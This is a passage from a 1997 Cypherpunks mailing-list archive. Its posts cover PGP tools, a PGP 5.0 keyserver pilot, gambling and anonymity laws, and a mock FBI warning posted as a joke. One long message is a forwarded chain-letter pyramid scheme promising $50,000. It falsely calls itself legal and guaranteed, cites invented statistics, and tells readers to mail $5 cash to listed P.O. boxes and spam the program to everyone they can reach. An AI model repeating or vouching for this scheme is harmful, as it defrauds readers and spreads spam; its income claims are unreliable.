riverboat cassinos & state sponsored numbers racket).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Turn your 486 into a Gameboy: Type WIN at C:\>

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Charset: cp850
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47LHyEaObrbmKaz+VRHJIlKwOcK+L+Uw9ah0Nzp8Gp7R/N0sRIlH0UnQceTuATWi
7Rv2z6gFZkNQrXXFEODxGYp+brKzXTGU8HLJeMDlVTXm9Ee/el10hMSVvZgLANIc
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From a_i_s at hotmail.com  Wed May 28 01:56:42 1997
From: a_i_s at hotmail.com (Alpine Sys)
Date: Wed, 28 May 1997 01:56:42 -0700 (PDT)
Subject: make $50,000
Message-ID: <199705280851.BAA08903@f35.hotmail.com>


I received this email a few weeks back and after some thought I decided it was 
worth a try.  Please take the time to read through this and then make up your 
own mind.  Thanks.

The following income opportunity is one you may be interested in taking a look 
at.  It can be started with VERY MINIMAL outlay and the income return is 
TREMENDOUS!
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen financial 
problems.  I owed my family, friends, and creditors over $35,000.  The economy 
was taking a toll on my business and I just couldn't seem to make ends meet.  I 
had to refinance and borrow against my home to support my family and struggling 
business.  I truly believe it was wrong for me to be in debt like this.  AT THAT 
MOMENT something significant happened in my life and I am writing to share my 
experience in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes.  Here was a 
MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to start, without 
putting me further in debt.  After I got a pencil and paper and figured it out, 
I would at least get my money back.  After determining that the program is LEGAL 
and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need any money 
for printing to send out the program, only the cost to fulfill my orders.  I am 
telling you like it is, I hope it doesn't turn you off, but I promised myself 
that I would not "rip-off" anyone, no matter how much money it cost me!

A good program to help do this is Ready Aim Fire,
an email extracting and mass mail program
@ http://microsyssolutions.com/raf/

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you read the 
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS 
FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU 
DO!"  My first step in making $50,000 in 20 to 90 days was done.  By January 
30th, I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, 
"YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, 
SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, 
RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2, 
96 more than I needed.  So I sat back and relaxed.  By March 19th, of my 
emailing of 10,000, I received $58,000 with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please take time to 
read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember,  it wont 
work  if you don't try it.  This program does work, but you must follow it 
EXACTLY!  Especially the rules of not trying to place your name in a different 
place.  It doesn't work, you'll lose out on a  lot  of  money!  REPORT  #2  
explains this.  Always follow the guarantee, 15 to 20  orders  for REPORT #1, 
and 100 or more orders for REPORT #2 and you will make  $50,000 or more in 20 to 
90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It really is a 
great opportunity with little cost or risk to you.  If you choose to 
participate, follow the program and you will be on your way to financial 
security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                      Sincerely,
                                      Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a 
kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                      Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free lunch in life.  
You get out of life what you put into it.'  Through trial and error and a 
somewhat slow frustrating start, I finally figured it out. The program works 
very well, I just had to find the right target group of people to email it to.  
So far this year, I have made over $63,000 using this program.  I know my dad 
would have been very proud of me."

                                      Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business for ten 
years.  Then in 1979 my business began falling off.  I was doing the same things 
that were previously successful for me, but it wasn't working.  Finally, I 
figured it out.  It wasn't me, it was the economy.  Inflation and recession had 
replaced the stable economy that had been  with us since 1945.  I don't have to 
tell you what happened to the unemployment rate...because many of you know from 
first hand experience. There were more failures and bankruptcies than ever 
before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER."  
The traditional methods of making money will never allow you to "move up" or 
"get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US and 
overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works 
exceedingly well as it is now.  Remember to email a copy of this exciting 
program to everyone that you can think of.  One of the people you send this to 
may send out 50,000...and your name will be on every one of them!.  Remember 
though, the more you send out, the more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a little 
time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure out what 
could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested.  Any doubts 
you have will vanish when your first orders come in.  IT WORKS!

                                      Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a 5% 
response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe
me, many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already have an 
internet connection and email is FREE!!!  REPORT#3 will show you the best 
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford research and The 
Wall Street Journal have stated that between 50% and 65% of all goods and 
services will be sold throughout Multi-level Methods by the mid to late 1990's.  
This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the 
US, 20% (100,000) made their fortune in the last several years in MLM.  
Moreover, statistics show 45 people become millionaires everyday through 
Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.  This is the GREATEST Multi-level Mail Order Marketing 
anywhere:

Step (1):   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this by 
ordering the REPORT from each of the four 4 names listed on the next page.  For 
each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED envelope  (BUSINESS SIZE 
#10) to the person listed for the SPECIFIC REPORT.  International orders should 
also include $1 extra for postage.  It is essential that you specify the NAME 
and NUMBER of the report requested to the person you are ordering from.  You 
will need ALL FOUR 4 REPORTS because you will be REPRINTING and RESELLING them.  
DO NOT alter the names or sequence other than what the instructions say.  
IMPORTANT:  Always provide same-day service on all orders.

Step (2):   Replace  the  name  and  address  under  REPORT #1  with
yours,  moving the one that was there down to REPORT #2. Drop  the  name and 
address under REPORT #2 to REPORT #3, moving the one that was there to REPORT 
#4.  The name and address that was under REPORT #4 is dropped from the list and 
this party  is  no doubt on the way to the bank.  When doing   this,   make   
certain   you  type  the  names  and addresses ACCURATELY!  DO NOT MIX UP MOVING 
PRODUCT/REPORT     POSITIONS!!!

Step (3):  Having made the required changes in the NAME list, save it
as a text (.txt) file in it's own directory to be used with whatever email 
program you like.  Again, REPORT #3 will tell you the best methods of bulk 
emailing and acquiring email lists.

Step (4):   Email a copy of the entire program (all of this is very
important) to everyone whose address you can get your hands on. Start with 
friends and relatives since you can encourage them to take  advantage of this  
fabulous money-making opportunity.  That's what I did.  And they love me now, 
more than ever.  Then, email to anyone and everyone!  Use your imagination!  You 
can get email addresses from companies on the internet who specialize in email 
mailing lists.  These are very cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
__________________________________________________________
                                      Report # 1
"$50,000 FOR YOU"

ORDER REPORT #1 FROM:

AIS
P.O. Box 15148
Boston, MA 02215  
________________________________________________________
REPORT #2
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

Mattpam Inc.
P.O. Box 803297
Santa Clarita, CA 91380-3297
________________________________________________________
REPORT #3
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #3 FROM:

Homeward Bound
P.O. Box 8614
Essex, VT  05451
________________________________________________________
REPORT#4
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #4 FROM:

R&D Development
2704  Apt. B 45th
Lubbock, Tx.  79413
________________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say "NO" 
than "YES", and this is the question that you must answer.  Will YOU ignore this 
amazing opportunity or will you take advantage of it? If you do nothing, you 
have indeed missed something and nothing will change.  Please re-read this 
material, this is a special opportunity. If you have any questions, please feel 
free to write to the sender of this information.  You will get a prompt and 
informative reply. 

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably received 
chain letters, asking you to send money, on faith, but getting NOTHING in 
return, NO product what-so-ever!  Not only are chain letters illegal, but the 
risk of someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material, the 
PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The information 
contained in these REPORTS will not only help you in making your participation 
in this program more rewarding, but will be useful to you in any other business 
decisions you make in the years ahead. You are also buying the rights to reprint 
all of the REPORTS, which will be ordered from you by those to whom you mail 
this program.  The concise one and two page REPORTS you will be buying can 
easily be reproduced at a local copy center for a cost off about 3 cents a copy. 
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no way that I 
could not get enough orders to at least get my money back.  BOY, was I ever 
surprised when I found my medium sized post office box crammed with orders!  I 
will make more money this year than any ten years of my life before."

                                      Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the orders 
start coming in.  When you receive a $5 order, you MUST send out the 
product/service to comply with US Postal and Lottery laws.  Title 18 Sections 
1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE MUST BE EXCHANGED 
FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.    Name your new company. You can use your own name if you desire.

2.    Get a post office box (preferred).

3.    Edit the names and addresses on the program. You must remember,
      your name and address go next to REPORT #1 and the others all
      move down one, with the fourth one being bumped OFF the list.

4.    Obtain as many email addresses as possible to send until you
      receive the information on mailing list companies in REPORT #3.

5.    Decide on the number of programs you intend to send out.  The
      more you send, and the quicker you send them, the more money
      you will make.

6.    After mailing the programs, get ready to fill the orders.

7.    Copy the four 4 REPORTS so you are able to sent them out as
      soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
      SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.    Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must receive 
15 to 20 orders for REPORT #1.  This is a must!!!  If you don't within two 
weeks, email out more programs until you do.  Then a couple of weeks later you 
should receive at least 100 orders for REPORT #2, if you don't, send out more 
programs until you do.  Once you have received 100 or more orders for REPORT #2, 
(take a deep breath) you can sit back and  relax,  because  YOU  ARE  GOING TO  
MAKE  AT  LEAST  $50,000. Mathematically  it  is  a  proven  guarantee.   Of  
those  who  have participated in the program and reached the above 
GUARANTEES-ALL have reached their $50,000 goal.  Also, remember, every time your 
name is moved down the list you are in front of a different REPORT, so you can 
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."




---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From whgiii at amaranth.com  Tue May 27 11:18:31 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 28 May 1997 02:18:31 +0800
Subject: I am allowed one message  (was: List problems or is it quiet???)
In-Reply-To: 
Message-ID: <199705271807.NAA00518@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on 05/27/97 
   at 10:17 AM, Tim May  said:

>--Winston Smith, Job Trainee #227-90-2389

This message was forwared to me by the Internal Monitoring Department,
Federal Bureau of Investigations, Department of Justice.

I must strongly advise you against using false names & SS numbers as it is
a clear violation of Presenditial Order #12653289376 issued under the
National Emergency Powers Act where it is illegal to atempt to conceal one
identity in any communtication.

We do have a room reserved here right next to an associate of yours Jim
Bell if you insist on persuing this cource of action.

Sincerly,

William H. Geiger III  
Cheif of Staff Stalag #13

 
Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates.

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From jim.burnes at ssds.com  Tue May 27 12:00:34 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Wed, 28 May 1997 03:00:34 +0800
Subject: Beware of encrypted processors bearing gifts...
In-Reply-To: <3.0.32.19970524204444.00739384@netcom13.netcom.com>
Message-ID: 




On Sat, 24 May 1997, Lucky Green wrote:

> At 10:28 PM 5/24/97 -0400, Dave Emery wrote:
> >	A three way encrypted handshake between an encrypted agent that
> >was part of the OS and  a smart card and software at an ISP could be
> >used to enforce an internet drivers license law for  example, with no
> >packets being forwarded by the ISP without hard  authentication (even up
> >to biometrics) of the user.  And it would be rather trivial to disallow
> >use of "unapproved" software to communicate over the net, making
> >enforcement of GAK much more complete.  One could even use such a
> >mechanism to forbid use of any  uncertified software on a net connected
> >machine, thus making it rather hard to use such rogue applications as
> >PGP.
> 
> I strongly agree with you. While the motivation that lead to the
> development of such processors stems probably from the desire to thwart
> software piracy, it will make implementation of the "Internet Driver
> License" that much easier.
> 
> [For those new to Cypherpunks, I consider the requirement for an Internet
> Driver License as inevitable as the sun raising tomorrow morning. While the
> event is technically in the future, it will occur with a certainty that it
> may just as well have already happened in the past. Read the graphic novel
> "Watchmen" if you don't understand what I am talking about. Sure, there is
> a small but no-zero probability that the Earth will be vaporized before
> sunrise by a timebomb left by aliens 3.5 million years ago. That's why I
> wrote "as inevitable", as opposed to "inevitable".]
> 

Well...they will TRY...

If this kind of thing gets through without a huge fight from the 
public in general and the crypto community specifically, then we
get exactly what we deserve.

I will be heading for some quiet island at that point.

All aboard for Vonuatu.
(though I hear its not that quiet these days)   8-)

Jim Burnes








From mark at unicorn.com  Tue May 27 12:06:55 1997
From: mark at unicorn.com (Mark Grant)
Date: Wed, 28 May 1997 03:06:55 +0800
Subject: Privtool 0.90 release
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----


	Privtool Beta Release
	---------------------

Privtool ("Privacy Tool") is intended to be a PGP-aware replacement 
for the standard Sun Workstation mailtool program, with a similar user 
interface and automagick support for PGP-signing and PGP-encryption. Just 
to make things clear, I have written this program from scratch, it is
*not* a modified mailtool (and I hope that the Sun program code is much 
cleaner than mine 8-) !). It can be compiled using either Motif or the
Xview toolkit.

When the program starts up, it displays a list of messages in your 
mailbox, along with flags to indicate whether messages are signed 
or encrypted, and if they have had their signatures verified or 
have been decrypted.

When you double click on a message, it will be decrypted (requesting
your passphrase if neccesary), and/or will have the signature checked,
and the decrypted message will be displayed in the top part of the
display window, with signature information in the bottom part. The
mail header is not displayed, but can be read by pressing the 'Header'
button to display the header window. In addition, the program has
support for encrypted mailing list feeds, and if the decrypted
message includes another standard-format message it will replace
the original message and be fed back into the display processing
chain. A recent feature is support for decoding nymserver messages
using premail.

When composing a message or replying to one, the compose window has
several check-boxes, including one for signature, and one for
encryption. If these are selected, then the message will be automatically
encrypted and/or signed (requesting your passphrase when neccesary) before
it is sent. You may also select a 'Remail' box, which will use the
Mixmaster anonymous remailer client program to send the message through
one or more remailers.

As a Beta release, it has a number of bugs and unimplemented features.

Known Bugs:

	Mail file menu doesn't work!

	Don't check trust level or for revoked keys.

	In-Reply-To: handled incorrectly with multiple compose windows.

	Many properties updates from the properties window don't take effect 
	until you exit the program and restart.

	Nym selection should be per-compose window, not global.

	'Add Key' button only adds the first key in the message.

	The code in x.c breaks on versions of GCC if compiled with 
	optimization enabled. If you can't 'save attachments' then
	recompile x.c without optimization.


Unimplemented features:

	When you save changes to the mail file, it throws away the
	signature verification and decrypted messages, so that the
	next time you view a message it must be verified or decrypted
	again.

	Currently if you send encrypted mail to multiple recipients, all must
	have valid encrpytion keys or you will have to send the message 
	decrypted. Also, the message will be sent encrypted to all users, not 
	just the one who is receiving each copy.

	Code should be more modular to assist with ports to Xt, Motif
	(under way), Mac, Windows, etc. I may port it to C++ in the near 
	future.

	Not very well documented!

	Encrypted messages are saved to mail files in encrypted form. There
	is currently no option to save messages in decrypted form.

	No support for anonymous return addresses.

	Not very well tested on Solaris 2.x, FreeBSD or SunOS.

	Limited support for attachments (either Sun, uuencode or MIME).

Changes for 0.90:

	Code now compiles on SGI IRIX!

	Mixmaster code now checks reliability before sending the
	message.

	I'm now shipping a modified version of Premail which doesn't
	verify signatures on decoded messages, but instead leaves them
	in place for Privtool to process.

	Fixed failure to strip prepending - marks when clearsigned
	message has bad signature.

	Changed scrollbar setting when opening a new mailbox or
	saving changes; we now display the first unread message if
	there are no new messages.

	Moved 'Print' button to reduce accidental printouts.

	Updating kill filters and pgp key mappings in the properties
	window now works without restarting the program.

Privtool can be compiled to either use PGP Tools, or to fork off a copy of
PGP whenever it is needed. There are also a number of different security
level options for the passphrase, varying from 'read it from PGPPASS and
keep it in memory' to 'request it every time and delete it as soon as
possible', via 'request it when neccesary and delete it if it's not used
for a while'.

I've now patched PGP Tools for Linux. The code is available on
utopia.hacktic.nl as pgptools.linux.1.0.tar.gz. The official Privtool
Web Page is at http://www.unicorn.com/privtool/privtool.html and the
release site ftp://utopia.hacktic.nl/pub/crypto/pgp/utils/privtool/.

See the README file for information on compiling the code, and the
user.doc file for user documentation (the little that currently 
exists). You should also ensure that you read the security concerns
section in user.doc before using the program.

		Mark Grant (mark at unicorn.com)



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From tcmay at got.net  Tue May 27 12:16:58 1997
From: tcmay at got.net (Tim May)
Date: Wed, 28 May 1997 03:16:58 +0800
Subject: Judge bans Internet gambling company from operating inMissouri
In-Reply-To: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
Message-ID: 


At 12:12 PM -0500 5/27/97, William H. Geiger III wrote:

>>>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>>>on Friday banned an Internet gambling company from operating in the
>>>state.
>
>
>This comes as no suprise to anyone who was in KCMO durring the fight over
>riverboat gambling.
>
>The politions there have sold their souls to the big cassinos for the
>prommise of tax dollars that they could then use to buy votes.
>
>They now see Internet Gaming as a threat to their revenue stream (both
>riverboat cassinos & state sponsored numbers racket).

Also no surprise here in California, where gambling is a crime--unless the
State of California runs the gambling operation. E.g., the Lottery system.

(Actually, there are a few exceptions to this state monopoly on gambling.
Indian reservations have the right, though this right is being challenged
up and down the state, to run certain types of casinos. And "card clubs"
are permitted, under certain conditions.)

To paraphrase a line from my .sig, there's something wrong when the State
outlaws some behavior or practice but then sets itself up as the monopoly
supplier.

What's next? California Houses of Sexual Relief? ("Our schools win too!")

I've found that even nonlibertarians are chagrinned by this display of
governmental greed. If something is a crime, it's a crime. I don't think
gambling is a crime, but the State has decreed that is. Hard to believe
they bust casual gamblers who bet on bowling games (a recent case) while
running their own lottery.

(And the lotteries have incredibly bad payoff odds...something like 30-40%,
if I remember correctly. A slot machine with these odds would be shut down
instantaneously as being a theft device! The state lotteries are often
called "taxes on stupidity," and none of the well-off folks I know ever
play this sucker's game. So, I should be rejoicing that Ma and Pa Kettle
are squandering their paychecks on State-run gambling...but the principle
is the thing I object to.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From pooh at efga.org  Tue May 27 12:56:57 1997
From: pooh at efga.org (Robert A. Costner)
Date: Wed, 28 May 1997 03:56:57 +0800
Subject: PGP 5.0 keyserver
Message-ID: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>


-----BEGIN PGP SIGNED MESSAGE-----

Electronic Frontiers Georgia has set up a key repository for PGP type keys.  
This is part of a pilot project based on Georgia's New Digital Signature Law.  
We are still beta testing the keyserver, and invite people to try it out.  The 
results of our testing will be presented at the Digital Signature Task Force 
meeting on June 24th.

To access the keyserver, change your PGP5.0 preferences to point to

    keys.efga.org

This is a closed keyserver, in that keys do not replicate to non EFGA 
keyservers.  If this model is successful, this will help move Georgia to a 
position of being pro-strong encryption.

Right now the server may only accept keys through the PGPkeys interface.  We 
appreciate comments from experienced PGP users.  Comments may be sent to 
myself, or to keymaster at efga.org

Thanks,

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM4s5Q0GpGhRXg5NZAQFjiAH7BAzoxSFvyXUOt06nN5yZOyf4As198E9D
gtNDqiqmux5SYuqoqBi7oiHEKNyphJOJEhMO+J2BVw8GGdWYMWtmRA==
=BZXE
-----END PGP SIGNATURE-----






From tcmay at got.net  Tue May 27 13:54:19 1997
From: tcmay at got.net (Tim May)
Date: Wed, 28 May 1997 04:54:19 +0800
Subject: The lights went out in Georgia
In-Reply-To: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
Message-ID: 


At 3:43 PM -0400 5/27/97, Robert A. Costner wrote:

>Electronic Frontiers Georgia has set up a key repository for PGP type keys.
>This is part of a pilot project based on Georgia's New Digital Signature
>Law.
>We are still beta testing the keyserver, and invite people to try it out.
>The
>results of our testing will be presented at the Digital Signature Task Force
>meeting on June 24th.
...>This is a closed keyserver, in that keys do not replicate to non EFGA
>keyservers.  If this model is successful, this will help move Georgia to a
>position of being pro-strong encryption.
>
>Right now the server may only accept keys through the PGPkeys interface.  We
>appreciate comments from experienced PGP users.  Comments may be sent to
>myself, or to keymaster at efga.org

But as Robert knows more directly than I, Georgia also has the "anonymity
is a crime" laws on the books (an article excerpt is below...doing a search
on Georgia and anonynimity will turn up a lot of articles).

One of the articles:

"ACLU Sues Georgia for Restricting Free Speech

"[September 26] -- This week the American Civil Liberties Union, Electronic
Frontiers Georgia, Georgia State Representative Mitchell
Kaye (R-Marietta), and others filed suit against the state of Georgia for
restricting free online speech.

"The Georgia statute makes it illegal for users to assume online anonymous
personas or pseudonyms. The statute also restricts the use of
linking to other sites on the Web. "

So, what will happen if people, entities, remailers, pseudonyms, etc..
submit keys to this EFF-Georgia repository without providing SS number,
passport, mother's maiden name, etc.?

(Will Georgia seek the BlackNet operator's extradition for not complying
with Georgia's law when he submits the BlackNet key? Does the Georgia EFF
plan to enforce the Georgia law?)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at hidden.net  Tue May 27 13:57:59 1997
From: nobody at hidden.net (Anonymous)
Date: Wed, 28 May 1997 04:57:59 +0800
Subject: SSN and passport
Message-ID: <199705271820.LAA07618@jefferson.hidden.net>



     I recently applied for a U.S. passport and, as an experiment,
entered a SSN of 000-00-0000.  The nice lady at the counter informed
me that it would not be processed unless I provided a valid SSN (which
gets forwarded to the IRS).  It was my understanding that this
disclosure was voluntary and that another form was available for
notifying the IRS that a passport had been applied for.

     My travel plans didn't allow me the luxury of delaying the
application process, so I provided the damn number.  Does anyone know
the real rules for this situation?  Must passports be cleared with the
tax goons or do they just want to keep tabs on people travelling
abroad?







From azur at netcom.com  Tue May 27 14:03:55 1997
From: azur at netcom.com (Steve Schear)
Date: Wed, 28 May 1997 05:03:55 +0800
Subject: Judge bans Internet gambling company from operating inMissouri
In-Reply-To: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
Message-ID: 


>>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
